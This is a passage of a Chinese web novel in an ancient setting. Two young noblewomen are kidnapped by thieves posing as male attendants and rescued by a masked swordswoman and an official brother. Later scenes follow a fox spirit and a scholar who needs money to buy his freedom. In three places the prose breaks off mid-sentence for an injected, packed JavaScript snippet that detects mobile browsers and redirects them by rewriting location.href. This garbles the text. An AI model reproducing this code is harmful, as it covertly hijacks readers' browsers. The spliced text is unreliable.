“嗯?”含糊不清的单音传来,元和景最后的幻想也终究是破灭了,背后绑的那个不是其他,正是她最不想的江印月本人。 这下不能说是真命天子,就是连杀身之祸都要招来了。 “别睡了,快醒醒,看看你在哪……” 压下百转千回的心绪,元和景几乎是从牙缝里挤出来这句话。 江印月终于幽幽转醒,明白现状后下意识就喊出了声,吓得元和景又是一激灵,连忙提醒:“别吵,小心把人引来。” “我们……这是在哪啊?” 声音虽是小下去,气势却也跟着弱了,江印月的颤意很清晰地传入耳,元和景才发觉自己现在竟出奇得冷静。她尽量让自己不露怯,这样也好让江印月更安心些。 “不知道,我先试试能不能帮你把手上的绳子解开吧。” 两人被绑在同一根柱子上,纵使很用力地抬起手腕,也只能勉强碰到绳子。元和景才尝试过几次,手就已经酸得不成样子,后背的冷汗更是一阵阵往外冒。偏偏毫无进展时,木门先被“吱呀”一声推开了。 石子被鞋底碾碎的细微爆破声就在耳边,带着无形的压迫感朝这边逼近,元和景顿时不敢再动,生怕被对方发现端倪。 江印月也没有出声,房间里静得过分,元和景睁大了眼睛想把来人看清楚,举目却仍是一片伸手不见五指的黑,对方的身影悄然跟夜色融为了一体,化成心头未知前路的深深恐惧。 有缓慢而凉的气息洒在额头上,他竟然蹲在了自己面前! 元和景连忙闭眼,装作还没醒的样子。此人的身份、来历和目的皆是未知,太早对上也并非是好事。 可即便如此,触觉却在此时变得灵敏起来,那冰冷而淡漠的眼神有如实质般在身上游走穿梭,所到处激起不由的战栗和恶寒,让人只想不管不顾地失声尖叫。 下一刻,更凉的东西陡然贴上了脸颊。 “说话,不然这张脸就别想要了。” 像是早已看穿了元和景的把戏,对方开门见山,刀面在她脸上颇含警示意味地拍了拍,语气更是稀松平常得像在叫人起床,可从那未加掩饰的嗓音中,她竟明显听出几分熟悉感。 “你究竟想做什么?”元和景没能藏住喉头的颤意,可说这话时,她已经废了几乎全身的力气。 “呵……”那人从鼻腔里发出一声轻蔑至极的哼笑,寒铁般的刀面缓缓从她左脸滑到侧颈,“姑娘怕是从没被绑架过,一看就没什么经验。” “我们,自然是来谋财害命的。” 脖颈上的力道猛然变得尖锐起来,元和景下意识高呼:“等等!” “钱给你,都给你……你要多少给多少,别动手……” “姑娘是个聪明人,我喜欢。” 那人对这话很是满意,于是暂且收起匕首,凉意消失的那刻,元和景总算如释重负地松了口气。正这时,江印月突然惊呼:“你是暗影?” 元和景:“什么暗影?” “就是今天那两个男侍,一个叫暗影,一个叫明影。” 元和景一下子想起白天在湖边的见闻,一黑一白的瘦弱身影映入脑海,那副弱柳扶风的样子怎么看也跟绑匪扯不上关系,可要从声音来看,似乎隐约能对得上号。 她还在怀疑,对方却是承认得爽快:“江小姐好耳力啊,暗影佩服。” “既然被认出来了,那就大方些。白影,快出来跟两位小姐打个招呼。” 话音刚落,又有一身影出现在门口,因着那件不染尘埃的白袍,元和景很容易捕捉到他的踪影,那人在自己几步前站定,随即拱手俯身道:“江小姐,元小姐,别来无恙。” “哼。”也许是因为气愤,江印月一时间连害怕也抛之脑后,“攀附不成就想出此等下三滥手段,真是为人所不齿,你们日后若还想在寻欢居有口饭吃,就赶紧把我们放了!” “江小姐好大的口气!” 明影非但没被激怒,还很是得意地笑起来:“正是绑架了两位小姐,我们才能有饭吃啊……” 说着,明影逐步朝着江印月走近,对上她恐惧而憎恨的眼神,悠悠然解释道:“毕竟,我们本来就是贼啊。” 至此,元和景才终于明白,这两人根本就不是寻欢居的男侍,而是伪装其中借机谋取钱财的盗贼! “明影,别跟她废话。” 沉默许久的暗影终于发话:“知晓两位小姐是京城人氏,此次来青州定然没带多少钱财,我也就不多强求,两位自行向家里写信,各要五千两银子赎身,待钱到手后我自然放你们走。” “这么多?” 江印月的惊呼声才刚出口,下一秒就被不轻不重地拍了拍脸,白影语气轻松,其中却透出几分让人不寒而栗的危险气息:“江姑娘出身医药世家,大名鼎鼎的福生堂便是江家产业,这对你来说可不算多。” 这两人既然能下此狠手,自然是提前做好了调查,现在说什么都是无益,只能先顺着他的心意走,再想办法找到突破口脱困。 元和景定了定心神,道:“既然要写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956998|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,自然需要纸和笔吧。我的手也还被捆着,这要怎么写?” “元姑娘莫着急,纸和笔都有,马上就来,至于松绑……” 暗色中叫人看不清他的神情,只听见他森然一笑,吐字极轻:“一个一个来。” 手上的束缚解除,无边黑夜里有一簇烛火缓慢升起,白纸、砚台和毛笔就端端正正摆在眼前,暗影的大半边侧脸就映在明黄的亮光里,分明在白日里还是幅温和可亲的模样,此刻却像极了地狱罗刹,叫人在那张脸上再寻不到一丝温度。 临时充当书案的木桌略有些低,元和景捏着笔蘸过墨,半晌还是没能落下半个字。暗影见状有些不耐烦,厉声催促:“写啊。” 元和景又不经意地瞥了他一眼,发现暗影的眼睛正死死盯着纸面,大有就这么监督她写完的架势。可要是这样,她就真的一点手脚也做不了了。 “不会写字了?” 匕首在笔杆子上警告般的拍了两下,震颤感顺着指尖传进掌心,元和景连忙将笔又捏紧些,道:“会写,会写。” 心像是被架在火上烤,脑子里更是一片空白,她根本不知道应写些什么,只有理智在一遍遍告诉她:这封信不能写! “那个……这书案太低了,写出来的字会变形。” 元和景鼓起勇气说完这句话,见对方隐隐有发火的趋势,又高声补充:“他们若是认不出来我的字,就不会相信这上面的内容,这样你一分钱也别想拿到。” “你说什么?”不知是哪个字眼激怒了暗影,亮晃晃的匕首顷刻间便架在了她脖子上,离颈边动脉的距离几近为零。 谁也没想到会弄巧成拙得这么快,元和景根本反应不及,只能下意识地闭上眼睛,“当”一声脆响伴着江印月的惊呼传来,再睁眼时,面前的烛火正好勾勒出一个高而纤瘦的背影。 黑衣加身,单手持剑,头上还戴着斗笠,那人俨然一副江湖游侠的打扮,不过瞬息之间,匕首被打落在地,暗影也被后坐力震得连后退数步,在场却无一人看清这究竟是怎么做到的。 元和景还是坐着的姿势,抬眼望去只觉得这个背影高大伟岸极了,“多谢大侠救命之恩”的话还未出口,那人先一步道:“十一救驾来迟,还望少卿夫人莫怪。” 干净利落的女子声线,底气浑而不厚,冷冷淡淡却又安全感十足,只是这称呼太过陌生,元和景好一会才意识到这是在叫自己。 还未正式交手,两兄弟便已察觉到此人绝非善类,明影快速上前将暗影扶起,随即对女子怒道:“奉劝你别多管闲事,否则休怪刀剑无眼!” 长剑出鞘带起铮然一声响,元和景听得心惊肉跳,连忙手脚并用地从桌子下面溜走,待那女子回话时,她也终于安然无恙地到了江印月身边。 “尔等罪行自有官府追究,不过这两个人,我要定了。” 不由多说,交战已在下一刻开始,锋芒碰撞招招不让,乒乒乓乓的动静便听得人牙酸,更遑论亲眼看见后又是何光景。借着不甚明亮的烛光,元和景好歹解开了江印月手上的桎梏,然后就猫着腰躲到了安全的角落里。 像这种帮不上忙的时候,保护好自己就是最大的帮忙了,元和景对此一直深以为然。 “她刚才怎么叫你少卿夫人啊?她是祝少卿的人?可祝少卿不是死了吗?这究竟是怎么回事?” 惊魂未定的江印月只顾着把问题一股脑往外抛,倒把元和景问得一个头两个大。之前怕扰乱大理寺的计划,她就没把祝长生没死的事告诉别人,现在要想解释起来的话可就有些麻烦了。 末了,她只能言简意赅地道:“祝长生没死,其他的我也不知道。” 这屋子不知作何用处,中央空了一大片,正好供三人你来我往地过招。那位突然出现的女侠的确身手了的,即使一打二也丝毫不露颓势,若说是硬碰硬,她未毕不是两人的对手。 明影和暗影显然也意识到了这点,很快便调整战术转攻为守,两道身影交替出手灵活自如,移动速度更是快得惊人,任凭女子反应再快,也丝毫不能碰到他们分毫。 10. 侠女十一 既然速度快,那便要想办法引走他们的注意力,让脚步慢下来,元和景心里很快有了盘算,伸手往腰间一摸,却是抓了个空。 想都不想也该知道,身上财物在被绑来时就该被搜刮干净了。 这屋子里也不像是会有钱财的样子,就只能去外面碰碰运气,索性干等着也不是办法,元和景向江印月简单交代后,便挪着步子偷偷往门口溜。 烛火照不到的墙角正好能作隐蔽,溢着亮光的出口就在眼前,元和景隐约有了越狱出逃的错觉,虽然明白外面仍是未知,但不知怎的内心激动不已。放在平时,她一个官家大小姐哪有机会接触这样的事? “哐镗”一声,锋利的流星镖霎时入木三分,就不偏不倚落在面前两寸处,连刺穿木头的声音都清晰可闻,要是元和景走得再快些,这飞镖刺入的就是她的脑袋了。 劫后余生的冷汗在后背直冒,吓得元和景连连改口,这种丢命的事以后还是少遇上些罢。 甫一靠近门口,清凉的风便扑面而来,空气都是前所未有的流通,元和景连忙迈着碎步溜出去,如她所料,这两兄弟并没有别的帮手,所以外面无人看守,她也可以放心大胆行动了。 一番打量后,不难看出这是块普通但干净的空地,角落零零散散堆着杂物,旁边那座库房看着不大,面前的建筑应是主屋,顶上的脊兽看着还算气派,从这里唯一进去的入口上挂了牌匾,只是天太黑叫人看不清写了什么。 四处也找不到看起来更可靠些的地方,元和景干脆走到牌匾下试着推门,出乎意料地没有上锁,不过倒也省了好些麻烦。 刚进去便被馥郁的香气包围,像是很多种胭脂水粉混在一起的味道,寻常人家哪里会在一间屋子里摆这么多?除了这是家胭脂铺子外,元和景暂且想不出其他可能。 略一摸索后更证明了她的猜测,手边正好就是柜台,平日里收下的银钱都会放置在暗格的保险箱里,只要取出些铜板往地上一洒,何愁那两个爱财者注意不到? 不过她倒是忘了最重要的一点,既然是钱柜,那怎有轻易能打开的道理,再加上角落里黑得什么也看不见,光是绕去柜台后再找到钱柜,便要先废上不小的功夫了。 总算在柜台最里侧摸到个金属锁扣,元和景从头上拔出根簪子便开始撬,“咚咚咚”地捅了好一会也不得其法。她蹲在地上撬得专心,连背后的大门何时开的也不知道,等终于能意识到不对时,剑已经架在脖子上了。 元和景手上动作一顿,身体像被定住似的僵在原地,脑子里登时有了不好的预感。 “何人在此偷偷摸摸?” 气息沉稳,吐字清晰,短短一句话便彰显身为朝廷命官的威严。元和景有惊无险地松了口气,道:“兄长,是我啊,我没干坏事。” 元纪辛眉头一皱,满脸怀疑,但毕竟是自家人的声音,他不可能听不出来。收剑时,他问:“你怎么在这?” “我被绑到这里来的,现在需要用点钱,你帮忙把这个柜子撬开。” 元和景只顾自己解释得方便,但这话落在元纪辛耳里却是极有歧义的。顾不上还在办案,他当即厉声道:“你身为元家小姐,竟敢……” “不是不是。”元和景一听便知道他是误会了,但若是从头讲起还不知要花多久时间,屋里的江印月和女侠随时可能有危险,她心里着急,一时更语无伦次起来,“这是救命的,里面有人打架,这能救命!” 想起过往相处的种种,元和景终于发现一个绝望的事实:元纪辛应该很难对自己这个妹妹建立起信任来,毕竟除了责备和教训,两人鲜少有除此之外的交流。 “罢了罢了……” “你让开。” “啊?”元和景突然反应不过来,好一会才讷讷地站起身退到一边,“哦。” 剑锋劈下时带起一阵凌厉的风,锁扣应声而碎,元和景连忙打开柜子,抓了把铜板碎银就往回赶。元纪辛虽不明所以,但也飞快跟了上去。 屋内打斗声还在继续,从门口依稀可见几个人影飞快闪过,元和景跨步进门,捧起手里的东西往地上重重一摔,劈里啪啦的声音顿时响成一片,清脆而嘈杂。也就是这时,两道目光齐刷刷地朝这边投来。 “钱!” 来去如鬼魅般的两个身影悄然凝滞了片刻,这点破绽没能逃过女侠的眼睛,剑锋一转,白影的半条手臂被生生削下。赶来的元纪辛也在此时出手,拦住了赶去支援的暗影。 两兄弟分开后根本不是任何一人的对手,在密不透风的攻势下只能节节败退。元和景将目光牢牢锁在那位女侠身上,心里有种说不明的感觉,女子学武在京城本就不多见,除了惊奇之外,油然而生的向往也令人难以忽视。 对方看起来也不大,还和自己一样都是女辈,武功却如此高强,别说是危难时自保,以一敌多救人水火也不在话下。要是自己也能有一身好功夫,今夜或许就不会如此狼狈了。 思绪翻涌间,两兄弟败局已定。暗影见正面不敌,用尽全力挑开一剑后便转身朝着江印月而去。转变发生得突然,元和景此时又相距甚远,只能下意识惊呼:“快跑!” 江印月像是被吓得傻了,无助地后退几步撞上墙壁,之后再找不到退路。眼见着暗影离她越来越近,元纪辛却抢先一步来到江印月身前,长剑径直刺入暗影的胸膛,穿透皮肉的声音清晰可闻。 兵戈铁甲的剐蹭碰撞声由远及近,明亮的火光从小门鱼贯而入,瞬间将这破旧的屋子围了个水泄不通。元纪辛随手将下巴的血蹭去,号令道:“将这两个小贼即刻拿下,送往县衙。” 众士兵齐声应“是”,奄奄一息的明影和暗影被很快架走。元和景连忙拖着发软的手脚去看江印月,还好没什么大碍,只是刚才无意扭了脚,现在连走动都有些困难了。 元和景将她小心翼翼扶起,又看向元纪辛,问道:“你怎么会突然来这里?” 元纪辛将剑收入鞘中,道:“今日我去拜访县令,得知青州最近出现多起绑架劫财案件,凶手因行动极快而迟迟未能归案,县令从卷宗推测此处应为凶手据点之一。” “而此时姐姐突然派人传信说你不在客栈,我直觉不对,便前来查看,没想到正好遇见。” 事到如今,明影和暗影就是凶手的事实已经摆在眼前,容不得元和景不承认。若要再多说些什么……也只能感叹一句时运不济,谁能料到两人初来乍到,就误打误撞跟贼人撞个正着呢? 元和景幽幽地叹了口气,此时元纪辛信步上前,衣摆一撩在江印月面前单膝蹲下,道:“你住在何处?我背你回去。” 江印月一开始还有些扭捏,不过眼下也没有别的办法,再三叮嘱“如果太重的话就不要勉强”后才慢慢趴上去。 毕竟是武将出身,元纪辛将人背起来时连表情都没变一下,像是为了让江印月安心,他很轻地说了句“不重”,才迈开步子稳稳地往前走。 似是突然想起来这里还有个妹妹,元纪辛走到门口时突然停下,扭头对元和景道:“我让他们送你回去。” “别操心了你快走吧。”元和景不在意地摆摆手,转身朝那位女侠抱拳道:“多谢姑娘救命之恩,小女名元和景,敢问姑娘如何称呼?” “叫我十一就行。” 女子声音平静,腔调里带着习武人独有的干脆利落,待斗笠摘下,那张清丽的脸才在元和景面前显山露水:细柳眉,丹凤眼,上翘的眼尾勾出无限疏离冷漠,好像对什么事都不甚关心,唇几乎拉成一条直线,说完这句话便没了下文。 “呃……咳咳。”对方气场太过强大,元和景罕见地有些无措,只能先以咳嗽掩饰尴尬,“是祝长生叫你来的吗,那他人现在在哪?” 虽然看着不近人情,但十一还是很好心地有问必答:“他刚才随我到门口,突然发觉异常,先去调查别的事。” “原来如此,原来如此啊。” “你自己回去,我先走了。” 说完,十一便要离开,元和景眼疾手快地拉住她的袖子:“不行。” 眉头一皱,那道冰冷的视线很快落到元和景身上,吓得她赶紧把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956999|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开,挠着头嘿嘿笑道:“路上太黑了我找不到方向,你干脆好人做到底,把我送回去呗。” 元和景怕被看出心虚,干脆就低着头不与她对视,反正她废这么大力气把自己救出来,肯定是不会下杀手的。就这么腆着脸沉默了会,才听见毫无起伏的音调在头顶响起:“走。” “得嘞。” 出了门穿过巷子,一路上人迹罕至,元和景按捺不住寂寞,刚安静过一会就凑到十一身前,殷殷切切地问:“你刚才那招唰唰唰是怎么练成的啊?好厉害……能教教我吗?” 具体的招式她自然是不记得,只能以手作剑瞎比划几下。十一淡淡地看她一眼,似乎觉得并没有回答的必要,很快又把目光收了回去。 “别这么小气嘛,我可以拜你为师的。”说着,元和景双手捧起就往下拜,嘴里还念念有词,“师父在上,请受徒儿一拜!” 等了半晌也不见有人来扶,元和景连忙抬头一看,却见对方已经走出好远了。 “诶你等等我啊。” “你真是祝长生的手下吗?他怎么会有你这么厉害的手下?” “我给你多些钱,你来当我的手……” “闭嘴!” 终于安然无恙地回到客栈,老板来开门时还一脸惊奇,因为明明见她下午就回来了。绑架的事自然不好声张,元和景只好随便诌几句,不等老板想明白就赶紧拉着十一进了门。 刚在桌边坐下就看见十一转身要走,元和景脱口而出“等等”,下一瞬便被猛然出鞘的剑吓个趔趄。 对方眼里的怒火实在太明显,元和景不敢再造次,只能弱弱地补了句:“没事,你慢走哈。” 折腾了大半夜,困意虽迟但到。江印月有元纪辛照顾,想来也不会有什么问题,于是元和景草草洗漱后就安然睡下,连本该在笼子里的狐狸不见了都没发现。 等她次日醒来再找时,哪里还寻的到狐狸踪影?其实一开始也没打算真的养它,只是离别来得太突然,连招呼也不曾打,元和景叹了口气,心头竟浮现些许伤感来。 不过人各有路,狐狸当然也不例外,粗略收拾过后,她也要回家去了。 半途把江印月放下后,马车一路走到元府偏门,母亲早已在外等候。从边关回来没几年,元纪宁便养成了去云顶伽蓝礼佛三月的习惯,父母前半生在战场上的杀孽太重,唯有如此才能帮他们赎回些罪过。或许是真的起了效果,元家这些年虽不说飞黄腾达,但也是平安顺遂,无忧无虞的。 母女三人一同用午膳,期间元纪宁说了元和景和离的事,母亲自然是赞成不已,夜里等元敬瑭回来后再一商量,便定下了两姐妹次日前去少卿府说明的事宜。 几天不见,祝老夫人的身体看起来好了许多。元纪宁也没提祝长生已死的事,只说两人感情尚浅难定终身,这场婚事还需要再议,即便做不了婆媳,但可结为干亲,元和景日后也不会忘记来尽孝道。 祝老夫人向来通情达理,又聪明至极,听出她的弦外之音后也并未阻拦,只叹道:“感情一事不能强求,两个孩子终究是有缘无份。” 元和景全程未发一言,毕竟元纪宁说得没错,就算她知道祝长生其实没死,但两人的确没有感情,甚至连交集也不过寥寥,强行绑在一起也只能徒增烦恼。 待说的差不多,元和景便被吩咐了去收拾东西。毫无防备地拉开门踏进去,床上那个衣襟半敞、姿态慵懒的人形便径直撞入了眼里。 几乎是循着本能,元和景后退到门外,“嘭”地一声将门关上了。 罪过罪过,信女一生老实做事本分做人,可别从天而降什么金屋藏娇、行事风流的帽子来,我日后还要在京城里混呢! 说不定方才只是幻觉,好好的少卿府里怎会出现如此不知廉耻的人?这样想着,元和景刚打算再打开看看,门先吱呀一声从里面被推开,一根约莫小臂粗的白尾巴伸了出来。 元和景见势不对转身就跑,双脚却在下刻离地,后颈的衣领被轻飘飘提起,而后像拖吊死鬼似的把她拽进了屋子里。 11. 胡陆葫芦 双脚刚沾地,元和景便在脸上堆起笑容,讨好地说:“那个,好久不见……你用过午饭了吗?” 胡陆慢慢悠悠地把尾巴收回,单手撑着下颌,发出一声不轻不重的嗤笑,语调慵懒:“还以为你会避我如蛇蝎,没想到竟是如此亲热。” 元和景扯扯嘴角,却是再也笑不出来了。古有虎落平阳被犬欺,今有她元和景畏惧妖力赔狐笑,至此还被看作是亲热的象征,若非是打不过,谁会委曲求全憋屈至此。 “如此,本狐名胡陆,告诉我你的名字。” “葫芦?”元和景下意识重复一遍,不该抖的机灵在这时突然活泛起来,“你不是狐狸吗,怎么又成葫芦了?” 眼见那条张牙舞爪的大尾巴又要朝自己飞来,元和景双腿一软便跪了下去,说过名字后又恭恭敬敬地道:“拜见狐狸大人,小的有眼不识泰山之前不小心打伤了你的腿,还把你关在笼子里,晚上还搂着……” 话到一半却是说不下去了,她很快将胡陆和那只神出鬼没的红狐狸联系到一起,此言的本意是想打打感情牌,让他能念及自己的好放人一马,却没料到想到都是不好的,这要全让他回忆起来的话,有九条命也不够死的了! “胡言乱语!”胡陆直起身子,凝眉喝道,“本狐从不以本体示人,岂容你在此编排?” 说着,他目光微转,像是想到什么,语气又缓和下来:“不过你说的,怕是另一个人。” 狐妖不止一个的消息显然在此时战胜了恐惧,元和景连忙想要确认:“你不是红色、尾巴上带点白毛的那个?” 胡陆眉头轻挑,唇角露出一抹神秘莫测的笑:“有趣,这个弟弟我也许久未见了。” 元和景:“那是谁?” 问题问得有些多,胡陆心底冒出些不耐烦来,但瞧着对方天真又愚蠢的模样,他还是大发慈悲地道:“就我所知本体为红色的狐狸,只有胡拾。” “胡拾?” 见她一副求知欲旺盛的样子,胡陆颇有些头疼地揉了揉眉心,正要出声打断,门外先传来一女子的呼唤,由远及近,应是正在往这里来。 元和景听到姐姐的声音后才想起自己来这的目的,可现在不仅一点也没收拾,床上还躺着个衣衫不整的大男人,这要让元纪宁看见,可就跳进黄河也洗不清了! “要是没什么事的话,不如就先回你自己家睡吧,这张床有点硬,你睡不舒服的。” 分明都已经火烧眉毛了,她还要耐着性子把胡陆哄走,若是有天真能学武功,一定要把这狐狸打趴下,以解她此时心头之恨。 胡陆看起来倒是悠哉游哉,捻起一缕搭在胸膛上的发丝细细把玩着,道:“你知道的,我在找人,而这个人的踪迹只有你知,告诉我他在哪,我就走。” 这话元和景上次也听过,但那日脱险后她便忘了个一干二净,更别说刨根问底细细追究,现在只能诚实地问:“你到底要找谁?” 胡陆:“我不知道。” 元和景:“……” 胡陆又接着说:“但你知道。” 元和景:“你不说我怎么知道?” 胡陆慢吞吞地躺了回去:“你不说我便不走。” 元和景:“你!” “小景,可收拾好了?” 元纪宁的声音就在门外,应是下一步便要进来,元和景没空再跟他周旋,只能双手合十求爷爷告奶奶般的低声下气道:“狐狸大人你先变回本体吧,有事我们回元家再……” “小景,你在和谁说话?” 伴着“吱呀”的声响,半边门被推开,元纪宁探寻的目光从元和景脸上扫到屋子里,末了一差不差地定格在床上。 果然……被发现了! “我记得你那只狐狸是火红色,这是……” 元和景下意识看过去,只见床上哪里还有男人的身影,反倒是一只浑身雪白狐狸趴在上面,正自顾自舔着毛。 “啊!没错没错。”元和景慌忙找补,“它就是太爱干净,一天要舔几百次毛,都给自己舔掉色了,哈哈。” 元纪宁脸上出现片刻茫然,胡陆更是毫不留情地露出鄙夷之色,元和景只想他真是站着说话不腰疼,大摇大摆地忽视了这个插曲,转移话题道:“衣服还没收呢,姐你快来帮帮我。” 两人安置好东西,跟祝老夫人告别后就一同归家。刚进屋子,元和景便找来之前那个大铁笼给胡陆关进去,为免意外发生还多加了道锁,然后毫不留情地丢进柴房。 狐狸用身体止不住地撞,“哐哐”的声响虽大,笼子却是纹丝不动,元和景见状安心下来,朝他得意洋洋地做个鬼脸后就离开了。 一家人在夜里吃了顿还算和气的晚饭,谁也没提和离相关的事,如此也算是翻了篇。元和景又过回闲散三小姐的日子,直到某天在大街上听到有人谈论才发现,昨日竟是童试通过名单出来的时候。 还不知道纳兰卿的考试结果如何,抱着这样的念头,元和景便想着去南风馆看看,路过墨斋时还买了好些上乘的笔墨纸张,吩咐人装好后就送去南风馆。 许是时辰还早,南风馆里人并不多,客人也多在二三楼的包厢。元和景本想自己去找纳兰卿,但耐不住门口的招待太过热情,直接引着她上楼,边走还在边絮叨着酒水歌舞,想来是把她当成生意了。 过转角后正好看见一扇门从里打开,纳兰卿照例一袭不染尘埃的白袍,发冠上的玉簪虽朴素,却极衬他的气质,未挽起的发丝柔而服帖地垂于背后,就像布匹店里材质最好的绸缎。 门内有人朝外丢了把铜板,接着高高低低的哄笑声响起,有几个笑得格外猖狂,一听便知是故意的,还有人扯着嗓子道:“爷赏你的,还不快说谢谢?” 元和景登时一股无名火冒,纳兰公子在她心中向来是清雅如兰的存在,怎能被羞辱至此?可反观纳兰卿,他只是垂下眸,声若蚊呐地说了句“多谢”,然后俯身把铜板一个一个捡起来。 “捡快点,那儿还有呢。” “你瞧他那副样子,跟大街上的乞丐有何区别?” 在他们口中的话变得更难听之前,元和景终于忍不住冲了过去,站在门口对那群人怒道:“人家靠自己本事赚钱吃饭,比你们这群酒囊饭袋强多了!” 说罢,她便拉着纳兰卿头也不回地离开。 包厢里多是小门小户的纨绔公子哥,靠着家里的资产胡作非为而没什么真才实学,不过是欺软怕硬的草包。有人气不过想要追出来,却被那几个认出元和景身份的拦住了。 一路拉着人走到拐角,接待见势不对早已下楼。元和景心里还憋着火,松开手后也还是气不过,可想着纳兰卿毕竟是寄人篱下,只能以此为生,又跟哑巴吃黄连似的什么话也说不出了。 “你来这里干什么?” 纳兰卿语气有些生硬,脸色冷得像是结了层霜,方才捡来的那几个铜板还在手里捏着,混着掌心的汗水,触感温热而粘腻。 元和景明白他的意思,更知晓自己来的不是时候,本想抬头看他的表情,却在触及对方身侧握紧的拳头时顿住了。 “我……” “无妨。”纳兰卿深吸一口气,这两个字也不知是说给谁听,只是再开口时已然和缓了许多,“多谢你替我解围,我们进屋去说吧。” 元和景心里还是过意不去,小心翼翼地问:“那些客人怎么办?” 纳兰卿垂眸看她,笑容中隐约透出几分勉强:“琴已弹毕,不用再管了,你今日来是有何事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957000|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起此行的目的,元和景又犯起难来,当时听到消息后就兴冲冲地来了,却没在心里提前打个腹稿。含蓄的问法她一时想不出来,可直接问的话,万一结果是个坏的,那更不好收场了。 “就是你最近……心情如何?”闷了半晌,元和景只憋出来这么一句话。 她的犹豫纠结都被看在眼里,纳兰卿心下了然,道:“通过了童试,心情自然是不错。” “通过了?” 元和景担心是耳朵听岔了,不放心地问。 纳兰卿点点头,声音不掩愉悦:“嗯。” “通过了!” 元和景差点在走廊里蹦起来,幸亏被纳兰卿及时拉住,否则就该遭这边屋子里的客人投诉了。 行动上没法表达,元和景只能报复似的一个劲猛夸,从走廊口说到他房间门前还不带停的。而纳兰卿从始至终只抿着唇浅笑,向来淡然如水的脸上浮现几分绯红,应当也是被夸得有些不好意思。 “总之往后还要继续准备,现在庆祝未免也太早,乡试比童试难度更大,竞争也更激烈,这一考又要三五年了。” “那广文馆里专门备考的书生也是考了三五年呢。”元和景捧着脸,眸子里还是亮晶晶的,“纳兰公子一点也不比别人差,日后若有什么事尽管开口就是,我一定尽力帮忙!” 元和景说得慷慨激昂,纳兰卿的神色却是悄然阴沉了下来。他借倒茶的机会将那几个铜板丢进抽屉里,捏着茶杯递给她时,指尖有不易察觉的颤。 元和景有些奇怪地皱起眉,问:“纳兰公子你怎么了?” “无碍。”纳兰卿扯起个心事重重的笑,又将杯子推了推,“快喝吧。” “哦。” “小景……” 元和景放下杯子:“嗯?” “就是……” 纳兰卿将脸转向一边,唇紧紧抿着,像是生怕有什么东西不受控制跑出来,喉结上下滚动好几次,最后也只艰涩地吐出两个字:“无碍。” 元和景即便再迟钝也该看出不对来,着急地道:“哪有话说一半不说的道理?你若是还拿我当朋友,就有话直说。” “我并非不拿你当朋友。” 纳兰卿叹了口气,眉眼间尽是化不开的愁绪,喉头颤了颤,好一会才艰涩地开口:“报名乡试有一条件,即家世身份干净。也就是说……” “娼妓和特殊从业者不可报考。” 最后几个字被他咬得重极了,虽是在复述规则,却更像给自己下了宣判。 即便并未真做什么见不得人的事,可他现在卖身于南风馆是不争的事实,只要一日不赎身,他便脱离不了这个名头,乡试对她来说就更是无望了。 元和景哑然,一时也不知该如何是好,而纳兰卿见她没有回复,只好垂下头,将心底酝酿过千百遍的话说了出来: “赎身的钱还差得多,你能不能……借我一些。” 语毕,他那向来如青竹般挺立的脊背颓然佝偻下去,胸膛和腰腹之间形成了一个很夸张的弧度,像有什么东西正沉甸甸地压在他身上。 那些孤傲的、不羁的文人风骨,终究还是被一斗金压弯了。 元和景不知怎的鼻头止不住发酸:“你说多少钱,我回去凑,实在不够的话还可以找我姐姐借,一定会有办法的。” “多谢。”纳兰卿不敢抬头看她,声音低得快要落进尘埃里,“还差五十两。” 元和景难以置信地瞪大眼睛,即便她未曾经商理财,却也知道这是笔不小的数目。可现实就是如此,拿不出这么多钱,纳兰卿就无法赎身,即便他准备得再好,也连乡试的考场都踏不进去。 “好。”元和景咬咬牙,“我去想想办法。” 12. 狐妖少卿 回府的路上,元和景想了许久,这笔钱光靠她自己是凑不起来的,个人事务也不便去账房上支,还差的一些只能找元纪宁借。可这么突然地帮一个外姓男子,该如何跟长姐说才好? 刚穿过大门,却隐约听见前厅传来说话声,元和景问了路过的丫鬟才知道,竟是祝长生本人登门拜访了。 先是以假死缺席新婚宴,之后碰见的几次也不过匆匆一瞥,虽然名义上曾有过夫妻之情,但两人自始至终都只是毫无关系的陌生人。 或许祝少卿此次到访,是找父亲商量公事,元和景本该怀着这样的想法径直回房间去,但某些说不分明的念头在脑子里疯狂作祟,驱使她在前厅的门柱后停下了脚步。 声音清朗如玉石相击,语速缓而不慢,言辞里透着身为少卿的沉稳,姿态却是恭敬十足。祝长生朝元敬瑭拱了拱手,道:“掏心案变故突然,且齐竟当时欲置我于死地,晚辈不得已只能将计就计,这才让凶手齐竟得以伏诛。” 